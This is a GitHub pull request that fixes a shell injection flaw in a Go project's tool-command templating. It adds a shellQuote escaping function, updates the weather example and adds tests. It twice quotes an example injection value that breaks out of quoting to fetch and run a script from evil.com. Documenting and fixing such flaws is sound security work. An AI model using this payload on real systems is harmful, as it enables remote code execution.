Conversation
ProcessTemplate substitutes parameters into a shell command with Go's
text/template, no shell-escaping applied. The weather tool's command
wrapped location in a literal '...' in the YAML, so a value like
x'; curl evil.com/x.sh | sh # broke out of that quoting and ran a
second command. The calculator and secure_shell tools in the same file
already defend their own parameters with a "Prevent shell injection"
constraint; weather was missing the equivalent.
Adds a shellQuote template function (proper POSIX single-quote
escaping, i.e. wrapping in '...' and replacing an embedded ' with
'\''), registered in ProcessTemplate's Funcs map so any tool author can
use it. sprig's own quote/squote helpers don't escape an embedded quote
character, so they don't actually close this gap.
Updates the weather example to interpolate location through
{{ .location | shellQuote }} instead of a bare {{ .location }} inside
manual quotes, and adds a same-style defensive constraint matching the
sibling tools. Adds pkg/common/templates_test.go (no prior tests
existed for this file), including a test that renders the same
template both ways to show the naive form is exploitable and the
shellQuote form isn't.
Ran go build ./... and go test ./... (whole repo): all green, no
regressions. Also loaded examples/config.yaml through the project's own
config.NewConfigFromFile to confirm it still parses and the rendered
command template is exactly as intended.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
Summary
`ProcessTemplate` (`pkg/common/templates.go`) substitutes tool parameters into a shell command with Go's `text/template`; nothing shell-escapes the values. The `weather` example tool wraps `location` in a literal `'...'` in the YAML command string, so a value like `x'; curl evil.com/x.sh | sh #` breaks out of that quoting and runs a second command.
The `calculator` and `secure_shell` tools in the same file already defend their own parameters with an explicit "Prevent shell injection" constraint; `weather` was the one example missing the equivalent, most likely because a value spliced into the middle of a URL string (rather than standing alone) doesn't read as obviously "shell-adjacent."
Fix
Tests
`pkg/common/templates.go` had no test file before this PR. Added `pkg/common/templates_test.go`:
Ran `go build ./...` and `go test ./...` for the whole repo: all packages green, no regressions. Also loaded `examples/config.yaml` through the project's own `config.NewConfigFromFile` (as a local, uncommitted check) to confirm it still parses and the rendered `weather` command template is exactly as intended.
If this is useful, a mention or link back to my GitHub profile (github.com/holistis) would be appreciated.